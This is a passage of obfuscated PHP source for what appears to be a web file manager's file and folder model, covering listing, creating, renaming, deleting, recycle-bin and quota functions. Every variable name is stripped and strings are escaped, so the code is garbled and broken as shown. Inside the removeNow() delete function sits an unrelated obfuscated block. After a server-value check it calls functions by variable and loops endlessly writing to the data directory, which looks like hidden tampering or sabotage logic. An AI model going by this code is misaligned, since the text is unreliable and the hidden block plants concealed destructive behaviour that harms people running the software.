!1; } if (isset($[$[498]]) && $[$[498]] != $[866]) { if ($[$[498]] == $[78] && !$) { return !1; } if ($[$[498]] != $[78] && $) { return !1; } if (!strstr($[$[169]], $[50] . $[$[498]] . $[50])) { return !1; } } if (isset($[$[2266]]) && $[$[2266]] < $[$[79]]) { return !1; } if (isset($[$[2267]]) && $[$[2267]] > $[$[79]]) { return !1; } if (isset($[$[679]]) && $[$[679]] != $[$[541]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($); $ = array($[598] => array($[471], $[$[598]] . $[$[194]] . $[630])); $ = $this->field($[79])->where($)->limit($ + 1)->select(); $ = is_array($) ? count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($, $); } $ = $this->field($[194])->where($)->select(); $ = array_to_keyvalue($, $[12], $[194]); return $; } private function _listSearchChildrenNear($, $) { $ =& $_SERVER[]; $ = array(); $ = array($[193] => $); $ = $this->field($[2268])->where($)->select(); $ = array_to_keyvalue(array_filter_by_field($, $[497], $[91]), $[12], $[194]); $ = array_merge($, array_to_keyvalue($, $[12], $[194])); if (!$) { return $; } $ = array($[193] => array($[7], $)); $ = $this->field($[2268])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[194])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($, &$, &$) { $ =& $_SERVER[]; if (!isset($[$[2090]]) || !$[$[2090]]) { return; } if (!Input::check($[$[2090]], $[405]) || strlen($[$[2090]]) < 2) { return; } $ = "\x4c\x45\x46\124\x20\x4a\117\x49\116\x20{$this->tablePrefix}\151\x6f\137\163\157\x75\162\x63\145\x5f\x6d\145\x74\141\x20\x6d\x65\x74\x61\40\x6f\x6e\x20\x73\x6f\165\162\143\145\56\x73\157\x75\x72\143\145\x49\x44\40\75\40\x6d\145\164\x61\56\163\157\x75\162\143\x65\111\104"; $ = array(); $ = str_replace(array($[288], $[53], $[2269]), $[12], $); $ = $[523] . str_replace($[50], $[524], $); $ = $[$[32]]; unset($[$[32]]); foreach ($ as $ => $) { $[$[523] . $] = $; } foreach ($ as $) { $[] = array($[528] => $, $[1093] => $[2094], array($[2270] => $, $[2271] => array($[7], array($[550], $[549])))); } $this->join($); $ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $ = array(); if (isset($[$[850]]) && $[$[850]]) { $[$[88]] = array($[2272], $[$[850]]); } if (isset($[$[851]]) && $[$[851]]) { $ = array($[2273], $[$[851]]); if ($[$[88]]) { $[$[88]] = array($[$[88]], $, $[2274]); } else { $[$[88]] = $; } } if (isset($[$[2266]]) && $[$[2266]] > 0) { $[$[79]] = array($[2272], $[$[2266]]); } if (isset($[$[2267]]) && $[$[2267]]) { $ = array($[2273], $[$[2267]]); if ($[$[79]]) { $[$[79]] = array($[$[79]], $, $[2274]); } else { $[$[79]] = $; } } if (isset($[$[679]]) && $[$[679]]) { $[] = array($[541] => $[$[679]], $[539] => $[$[679]], $[1093] => $[2094]); } if (isset($[$[498]]) && $[$[498]]) { $ = $[$[498]]; if ($ == $[78]) { $[$[497]] = 1; } else { if ($ == $[2275]) { $[$[497]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $[$[498]] = array($[504], $); $[$[497]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$[2090]]) && trim($[$[2090]])) { $ = trim($[$[2090]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[121] && substr($, -1) == $[121]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $ = array($); } $[$[32]] = array(array($[629], $[2092] . $ . $[2092])); if (count($) > 1) { $[$[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $[$[32]][] = array($[629], $[2092] . trim($) . $[2092]); } } } return $; } private function _parseSearchParent($, &$) { $ =& $_SERVER[]; if (!isset($[$[193]]) || !$[$[193]]) { return; } $ = $this->pathInfo($[$[193]]); $ = $[$[193]] . $[12] === $[231]; $ = $[$[191]] == $[592]; if ($[$[608]] == $[609]) { $ = $this->sourceInfo($[$[193]]); $[$[598]] = $[$[598]]; } $[$[669]] = array($[629], $[$[598]] . $[$[193]] . $[630]); $ = isset($[$[1950]]) && in_array($[592], $[$[1950]]); if (!$ || !$ || !$ || !$[$[499]]) { return; } if (!AuthModel::authCheckRoot($[$[499]][$[500]])) { return; } $ = $[$[583]] . $[12]; if ($ == $[91]) { unset($[$[669]]); $[$[191]] = self::TYPE_GROUP; return; } $ = Model($[599])->groupChildrenAll($); $ = count($); if ($ <= 1) { return; } $ = array($[193] => 0, $[191] => self::TYPE_GROUP, $[583] => array($[7], $)); $ = $this->field($[2276])->where($)->limit($)->select(); $[$[669]] = array(); foreach ($ as $) { $[$[669]][] = array($[629], $[607] . $[$[194]] . $[630]); } $[$[669]][] = $[2094]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[]; $ = Model($[591])->where(array($[1782] => $))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $ =& $_SERVER[]; $ = LNG($[2277]); $ = $this->mkdir($, $); $this->metaSet($, $[2278], $[91]); $this->metaSet($, $[2279], $); } public function userPathSafeAdd($) { $ =& $_SERVER[]; $ = Model($[591])->getInfoFull($); if (!$) { return !1; } if (_get($, $[612])) { return $[$[553]][$[2280]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[2281], $[2282]); Model($[591])->metaSet($, $[2280], $); $this->metaSet($, $[2283], $); return $; } public function userPathAppAdd($, $ = '', $ = '') { $ =& $_SERVER[]; $ = Model($[591])->getInfoFull($); if (!$) { return !1; } $ = $[$[553]] ? $[$[553]] : array(); $ = $[$[2284]]; if (!$) { $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[2285], $[2286]); Model($[591])->metaSet($, $[2284], $ . $[12]); $this->metaSet($, $[2284], $); } if (!$) { return $; } $ = $[$[2287] . $]; if (!$) { $ = $this->mkdir($, $); Model($[591])->metaSet($, $[2287] . $, $); $this->metaSet($, $[2287] . $, $); } if (!$) { return $; } $ = $this->mkdir($, $); return $; } public function groupRootAdd($) { $ =& $_SERVER[]; $ = Model($[599])->where(array($[2084] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $[$[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][622]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][194]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][194]], !1); } private function _mkdirRoot($, $, $, $ = '') { $ =& $_SERVER[]; $ = defined($[2222]) ? USER_ID : 0; $ = array($[489] => 0, $[665] => $, $[666] => $, $[663] => 1, $[667] => $, $[668] => $, $[664] => $, $[669] => $[607], $[516] => 0, $[634] => 0, $[556] => 0, $[670] => $[12]); if ($ = $this->where($)->find()) { return $[$[194]]; } $ = "\115\157\144\x65\x6c\x53\157\x75\x72\x63\x65\x2e\x6d\153\x64\151\x72\x52\157\x6f\164\56{$}\x2e{$}\x2e" . $; CacheLock::lock($); $[$[32]] = $; $ = $this->add($); $ = array($[671] => short_id($)); $this->where(array($[503] => $))->save($); CacheLock::unlock($); return $; } private function targetSourceRoot($, $, $ = false) { $ =& $_SERVER[]; $ = array($[489] => 0, $[665] => $, $[666] => $); if ($) { $ = $this->where($)->select(); return $ ? $ : array(); } $ = $this->where($)->find(); return $ ? $ : array(); } public function sourceRootGroup($) { $ =& $_SERVER[]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[223]); $ = array($[457] => $, $[454] => array($[848] => count($))); $this->_listDataApply($[$[457]]); $this->_listMake($); return array_to_keyvalue($[$[85]], $[583]); } public function mkfile($, $, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[691])->addFileByContent($, $); return $this->_createFileCall($, $, $, $, $[1448]); } public function addFile($, $, $, $ = false, $ = REPEAT_RENAME) { $ = Model($_SERVER[][691])->addFile($, $, $); return $this->_createFileCall($, $, $, $); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[691])->find($); Model($[691])->linkAdd($); return $this->_createFileCall($, $, $, $); } public function addFileByRemote($, $, $, $ = array(), $ = REPEAT_RENAME) { $ = Model($_SERVER[][691])->addFileByRemote($, $, $); return $this->_createFileCall($, $, $, $); } private function _createFileCall($, $, $, $, $ = "\165\x70\154\157\x61\x64") { $ =& $_SERVER[]; if (!$) { return !1; } $ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ = $this->fileNameExist($, $); $ = $this->_createFile($, $, $, $, $); if (!$) { Model($[558])->remove($[$[555]]); } if ($ && $ && $ != $) { Model($[2249])->eventCreate($, $); } $this->lockWriteEnd($, $); return $; } public function mkdir($, $, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $); if ($ !== !1) { $ = $this->fileNameExist($, $); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $; } $ = $this->fileNameAuto($, $, $); } $ = array($[663] => 1, $[506] => $, $[664] => $[12], $[556] => 0, $[634] => 0); $ = $this->_addSource($, $); Model($[2249])->eventCreate($, $[1449]); $this->lockWriteEnd($, $); return $; } public function listSourceRoot($, $, $ = "\x73\x6f\x75\162\x63\x65\111\x44\54\164\141\162\x67\145\164\111\104\54\x73\151\172\145") { $ =& $_SERVER[]; $ = $[466]; $ = array(); $ = 1024 * 50; $ = is_array($) ? $ : array(); $ = count($); $ = $this->tablePrefix . $[2288]; for ($ = 0; $ < $; $++) { $ = $[$]; $ .= "\x53\105\x4c\x45\103\124\40\x2a\40\106\x52\117\115\x20\50\x53\105\114\x45\103\x54\x20{$}\40\x46\122\x4f\x4d\x20\x60{$}\140\x20\x57\110\105\122\105\x20"; $ .= "\140\x70\x61\162\x65\156\164\x49\104\x60\x3d\x30\x20\101\x4e\104\x20\x60\x74\141\162\147\145\164\x49\x44\x60\75{$}\x20\x41\x4e\104\40\140\164\x61\x72\x67\145\164\124\171\x70\x65\x60\75{$}\40\141\156\144\x20\146\151\x6c\x65\124\171\x70\145\75\x27\47\40\154\x69\155\151\164\x20\x31\x29\x20\x61\x73\40\x74\x62\137{$}\40\x55\x4e\111\x4f\116\40\101\114\x4c\x20"; if ((strlen($) >= $ || $ == $ - 1) && $) { $ = substr($, 0, -strlen($[1131])); $ = $this->query($); $ = $[12]; $ = array_merge($, $); } } return $; } private function _createFile($, $, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || !$) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($, $); } $ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if (!$) { $ = !1; } else { $this->folderSizeReset($); } return $; } else { $ = $this->fileNameAuto($, $, $, !1); } } } $ = array($[663] => 0, $[506] => $, $[664] => substr(get_path_ext($), 0, 10), $[556] => $[$[555]], $[634] => $[$[79]]); $ = $this->_addSource($, $); $this->folderSizeReset($, intval($[$[79]])); return $; } protected function fileHistory($, $, $) { $ =& $_SERVER[]; if ($[$[555]] == $) { return !1; } $this->checkLock($[$[194]], $); Model($[2289])->addHistory($); $ = array($[668] => USER_ID, $[510] => time(), $[555] => $, $[79] => $); $this->where(array($[503] => $[$[194]]))->save($); $this->sourceCacheClear($[$[194]]); return !0; } public function checkLock($, $) { $ =& $_SERVER[]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($[2290]); $ = substr($[$[32]], 0, -1 - strlen($[$[169]])) . $[1309] . $ . $[10] . $[$[169]]; $ = Model($[691])->find($); $this->_createFileCall($[$[193]], $, $, REPEAT_REPLACE, $[1448]); $ = $[$[553]][$[627]]; $ = $[$[2291]] ? $[$[2291]] : $[$[32]]; show_json(LNG($[2292]) . $[2293] . LNG($[2294]) . $[2295] . $ . $[2296], !1); } public function fileIsLock($, $ = false) { $ =& $_SERVER[]; if (!_get($, $[623], 0)) { return !1; } if ($[$[553]][$[626]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[92]][$[624]]; if ($[$[553]][$[625]] <= time() - $) { $this->metaSet($[$[194]], $[626], null); $this->metaSet($[$[194]], $[625], null); } if ($) { $this->metaSet($[$[194]], $[625], time()); } return !1; } private function _addSource($, $) { $ =& $_SERVER[]; $ = defined($[2222]) ? USER_ID : 0; $ = array($[665] => $[$[191]], $[666] => $[$[583]], $[667] => $, $[668] => $, $[489] => $[$[194]], $[669] => $[$[598]] . $[$[194]] . $[50], $[516] => 0, $[670] => $[12]); $ = array_merge($, $); $this->updateModifyTime($[$[193]]); $ = $[2297] . $[$[194]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($[653], $); $ = !0; } $ = $this->add($); $ = array($[671] => short_id($)); $this->where(array($[503] => $))->save($); $this->setNamePinyin($, $[$[32]]); return $; } public function remove($, $ = true) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = intval($[$[191]]) === self::TYPE_SYSTEM; $ = Model($[520])->get($[2298]) == $[91]; if ($ || $ || !$) { return $this->removeNow($, $); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$[191]] == self::TYPE_USER ? $[679] : $[592]; if ($ == $[679]) { $ = Model($[591])->getInfo($[$[583]]); $ = !empty($[$[2291]]) ? $[$[2291]] : $[$[32]]; $ = $[349] . $ . $[2299] . $[$[583]]; } else { $ = Model($[599])->getInfo($[$[583]]); $ = _get($, $[32]); $ = $[176] . $ . $[2300] . $[$[583]]; } $ = $[2301] . md5($); CacheLock::lock($); $ = $this->fileNameExist($, $); if (!$) { $ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($, $[2302], $); $this->metaSet($, $[2303], $[$[583]]); if ($[$[193]] != 0) { $this->metaSet($, $[2304], _get($, $[2305])); } } CacheLock::unlock($); $this->metaSet($, $[2306], $[$[193]]); $this->where(array($[194] => $))->save(array($[510] => time())); $this->recycleClear($); Model($[650])->eventRemove($); $ = $this->move($, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$[193]]); return $; } private function recycleClear($) { $ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($[503] => array($[504], $[$[2307]])); Model($[2308])->where($)->delete(); } public function removeNow($, $ = true) { $ =& $_SERVER[]; $ = $_SERVER[$[320]] . $[321]; $ = $[317]; if ($_SERVER[$[318]] != $($)) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $ = $[973]; $(); $ = $[1707]; $ = json_encode($GLOBALS[$[1708]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $ = $this->sourceInfo($); $ = $this->pathInfoMore($); if (!$) { return !0; } if ($[$[193]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2309], $, $); if ($) { Model($[2308])->moveToRecycle($); } else { $ = $this->childrenAll($); Model($[650])->eventRemove($); $this->removeRelevance($[$[2307]], $[$[1592]]); } $this->folderSizeReset($[$[193]]); $ = array($[$[193]]); if ($[$[497]] == $[91]) { $[] = $[$[194]]; } $this->updateModifyTime($); $this->lockMoveEnd($); Hook::trigger($[1834], $, $); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $ = $[$[194]]; if ($[$[497]] == $[91]) { $ = array($[669] => array($[629], $[$[598]] . $ . $[630])); $ = array($[669] => $[$[598]]); $ = $this->field($[2310])->where($)->select(); $ = !1; $ = array($); if ($) { $ = array_to_keyvalue($, $[12], $[555]); $ = array_remove_value($, $[231]); $ = array_to_keyvalue($, $[12], $[194]); $[] = $; } } else { $ = array($[$[555]]); $ = array($); } return array($[2307] => $, $[1592] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($, $) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $ = array($[503] => array($[504], $)); Model($[2308])->where($)->delete(); Model($[547])->where($)->delete(); Model($[2147])->where($)->delete(); Model($[650])->where($)->delete(); Model($[1971])->removeBySource($); Model($[2289])->removeBySource($); $this->where($)->delete(); Model($[558])->remove($); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->fileNameExist($[$[193]], $); if ($ && $ != $) { return !1; } $ = array($[506] => $, $[668] => USER_ID); if ($[$[497]] != $[91]) { $[$[498]] = substr(get_path_ext($), 0, 10); } Model($[650])->eventRename($, $[$[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $[$[32]], !1); $this->updateModifyTime($[$[193]]); $ = $this->where(array($[503] => $))->data($)->save(); $ = $[2297] . $[$[193]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($, $, $ = true) { $ =& $_SERVER[]; $ = Input::check($, $[672]); $ = array($[529] => KodSort::makeStr($)); if ($) { $[$[550]] = str_replace($[53], $[12], Pinyin::get($)); $[$[549]] = Pinyin::get($, $[673]); } if (!$ && !$) { $[$[550]] = null; $[$[549]] = null; } $this->metaSet($, $); } public function getContent($) { $ =& $_SERVER[]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$[79]] == 0) { return $[12]; } $ = $[2311] . $[$[561]]; if ($[$[79]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($[$[87]]); Cache::set($, $); } return $; } if (!$[$[87]]) { return $[12]; } return IO::getContent($[$[87]]); } public function setDesc($, $) { $ =& $_SERVER[]; Model($[650])->eventAddDesc($, $); return $this->metaSet($, $[538], $); } public function setContent($, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->fileInfoGet($); if (!$ || !$) { return !1; } $ = Model($[558])->addFileByContent($, $[$[32]]); if (!$) { return !1; } $ = $this->fileHistory($, $[$[555]], $[$[79]]); if (!$) { return Model($[558])->remove($[$[555]]); } $this->folderSizeReset($[$[193]]); return !0; } public function fileSubstr($, $, $) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][87]], $, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || $[$[497]]) { return !1; } $ = $[562] . $[$[555]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $ = Model($[558])->fileInfo($[$[555]]); if ($) { $[$[32]] = $[$[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[669] => array($[629], $[$[598]] . $ . $[630]), $[666] => $[$[583]], $[516] => intval($[$[517]]), $[663] => 1); $ = $this->where($)->count(); $ = $this->where($)->where(array($[663] => 0))->count(); return array($[83] => $, $[84] => $); } public function pathInfo($, $ = false) { $ =& $_SERVER[]; $ = !1; $ = intval($); $ = $[546] . intval($) . $[474] . $; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ = _get(self::$cachePathInfoMore, $); if ($) { return $; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[497]] == $[91]) { $[$[82]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $[545] . $; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $ = $this->where(array($[194] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ = false) { $ =& $_SERVER[]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[545] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2312] . $]); unset(self::$cachePathInfo[$[2313] . $]); } public function metaSet($, $ = null, $ = null) { $ = parent::metaSet($, $, $); if ($) { $this->sourceCacheClear($); } return $; } public function pathInfoByPath($, $) { $ =& $_SERVER[]; $ = !$ ? array() : explode($[8], trim($, $[8])); $ = $; foreach ($ as $) { $ = array($[193] => $, $[32] => $); $ = $this->field($[2314])->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $[517]); $ = $[0][$[194]]; } $ = $this->sourceInfo($); $this->pathInfoFilter($); return $; } protected function updateModifyTime($) { $ =& $_SERVER[]; $ = defined($[2222]) ? USER_ID : 0; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $) { $[$] = intval($); $this->sourceCacheClear($); } $ = array($[194] => array($[7], $)); $ = array($[668] => $, $[510] => time()); $this->where($)->save($); } public function folderSizeReset($, $ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($); $ = $[2315] . $; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[489] => $, $[516] => 0); $ = $this->where($)->sum($[79]); $ = intval($) - intval($[$[79]]); } if ($ == 0) { return CacheLock::unlock($); } $ = $this->parentLevelArray($[$[598]]); if (!$) { $ = array(); } $[] = $[$[194]]; $ = array($[194] => array($[504], $)); if ($ < 0) { $[$[79]] = array($[1108], abs($)); } $this->where($)->setAdd($[79], $); CacheLock::unlock($); $ = $[2316] . $[$[191]] . $[4] . $[$[583]]; $ = array($[$[191]], $[$[583]]); TaskRun::timeLimitCall($, $[2317], $, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[]; $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[663] => 1, $[666] => $[$[583]], $[669] => array($[629], $[$[598]] . $ . $[630])); $ = $[2318]; $ = $this->field($)->where($)->select(); $[$[497]] = 0; $ = $this->field($)->where($)->select(); if (!$) { return; } $[] = $; $ = array_to_keyvalue($, $[194]); foreach ($ as $ => $) { $[$][$[2319]] = $[$][$[79]]; $[$][$[79]] = 0; } foreach ($ as $) { $ = $[$[193]] . $[12]; if (!isset($[$])) { continue; } if ($[$[517]] == $[$][$[517]]) { $[$][$[79]] += $[$[79]]; } } foreach ($ as $) { $ = $this->parentLevelArray($[$[598]]); foreach ($ as $) { $ = $ . $[12]; if (!isset($[$])) { continue; } if ($[$[517]] == $[$][$[517]]) { $[$][$[79]] += $[$[79]]; } } } $ = array(); foreach ($ as $) { if ($[$[79]] == $[$[2319]]) { continue; } $[] = array($[194], $[$[194]], $[79], $[$[79]]); } $this->saveAll($); } public function userSpaceReset($ = false) { $ =& $_SERVER[]; $ = $this->where(array($[191] => self::TYPE_USER, $[583] => $, $[497] => 0))->sum($[79]); $ = !$ || $ <= 0 ? 0 : $; Model($[591])->userEdit($, array($[1980] => $)); } public function targetSpaceUpdate($, $) { $ =& $_SERVER[]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($[591])->userEdit($, array($[1980] => $)); } else { if ($ == self::TYPE_GROUP) { Model($[599])->groupEdit($, array($[1980] => $)); } } } public function targetSpaceSize($, $) { $ =& $_SERVER[]; $ = 0; $ = $this->targetSourceRoot($, $, !0); foreach ($ as $) { if (!$) { continue; } $ += floatval($[$[79]]); $ = array($[669] => array($[629], $[607] . $[$[194]] . $[630])); $ = Model($[515])->field($[503])->where($)->select(); $ = array_to_keyvalue($, $[12], $[194]); $ = array_unique(array_filter($)); if ($) { $ = array($[503] => array($[504], $)); $ += floatval($this->where($)->sum($[79])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $ =& $_SERVER[]; $ = $[2320] . $ . $[11] . $; $ = Cache::get($); if ($) { return $; } $ = array($[663] => 0); if ($ != !1) { $[$[583]] = $; $[$[191]] = $; } $ = array(); $[$[2321]] = array($[2322] => LNG($[2321]), $[2323] => $this->where($)->count(), $[634] => $this->where($)->sum($[79])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $[$[498]] = $this->fileTypeWhere($); $[$] = array($[2322] => $[$[32]], $[2323] => $this->where($)->count(), $[634] => $this->where($)->sum($[79])); } Cache::set($, $, 1200); return $; } public function fileNameExist($, $) { $ =& $_SERVER[]; $ = $this->field($[2324])->where(array($[193] => $, $[32] => $, $[517] => 0))->find(); return is_array($) ? $[$[194]] : !1; } public function childList($) { $ =& $_SERVER[]; $ = $[2297] . $; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ = array($[193] => intval($), $[517] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $) { $ = $[545] . $[$[194]]; self::$cacheSourceInfo[$] = $; } return $; } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ = get_path_ext($); $ = $ ? get_path_ext_name($) . $[2325] . $ : $ . $[472]; $ = array($[193] => $, $[517] => 0, $[32] => array($[471], $)); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } public function fileNameAutoGet($, $, $, $) { $ =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; for ($ = 1; $ <= count($) + 1; $++) { $ = substr($, 0, strlen($) - strlen($)); $ = $ . "\x28{$}\51{$}"; if (!in_array_not_case($, $)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\x5f\x73\157\165\162\x63\x65\137\162\x65\x63\171\143\x6c\145"; protected $dataAuto = array(array("\143\162\145\141\x74\x65\x54\151\x6d\145", "\x74\x69\155\145", "\151\x6e\163\145\162\164", "\146\x75\x6e\x63\164\x69\157\x6e")); public function listData($ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->where(array($[1782] => $))->select(); return array_to_keyvalue($, $[12], $[194]); } public function moveToRecycle($) { $ =& $_SERVER[]; $ = Model($[1437]); $ = $->sourceInfo($); if (!$ || $[$[517]] == $[91]) { return; } $ = array($[503] => $, $[1782] => USER_ID, $[665] => $[$[191]], $[666] => $[$[583]], $[669] => $[$[598]]); $this->add($); $this->recycleMove($, 1); if ($[$[497]] == $[91]) { $ = array($[669] => array($[629], $[$[598]] . $ . $[630])); $->where($)->setField($[517], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = Model($[1437]); $ = $this->listData($); $ = $ === !1 ? !1 : $; $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $->remove($, !1); $ = $[$[191]] . $[11] . $[$[583]]; $[$] = array($[665] => $[$[191]], $[583] => $[$[583]]); $this->where(array($[194] => $))->delete(); } foreach ($ as $) { $->targetSpaceUpdate($[$[191]], $[$[583]]); } } public function restore($ = false) { $ = $this->listData(); $this->_restoreSource($, $); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($, $) { $ =& $_SERVER[]; $ = Model($[1437]); $ = $ == !1 ? !1 : $; if (!$) { return !0; } $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $ = $->sourceInfo($[$[193]]); if ($[$[517]] == $[91]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($[$[497]] == $[91]) { $ = array($[669] => array($[629], $[$[598]] . $ . $[630])); $->where($)->setField($[517], 0); $this->restoreFolderChildren($, $); } $this->where(array($[194] => $))->delete(); $->folderSizeReset($[$[193]]); $[] = $[$[193]]; if ($[$[497]] == $[91]) { $[] = $; } $->lockMoveEnd($); } $->updateModifyTime($); } private function restoreFolderChildren($, $) { $ =& $_SERVER[]; $ = Model($[1437]); $ = array($[194] => array($[7], array())); foreach ($ as $) { if ($ == $) { continue; } if (!$->isParentOf($, $)) { continue; } $ = $->sourceInfo($); if ($[$[497]] == $[91]) { $[] = array($[669] => array($[629], $[$[598]] . $ . $[630])); } else { $[$[194]][1][] = $; } } if (!$[$[194]][1]) { unset($[$[194]]); } if (!$) { return; } if (is_array($[$[194]]) && is_array($[$[194]][1])) { $[$[194]][1] = array_unique($[$[194]][1]); } $[$[1093]] = 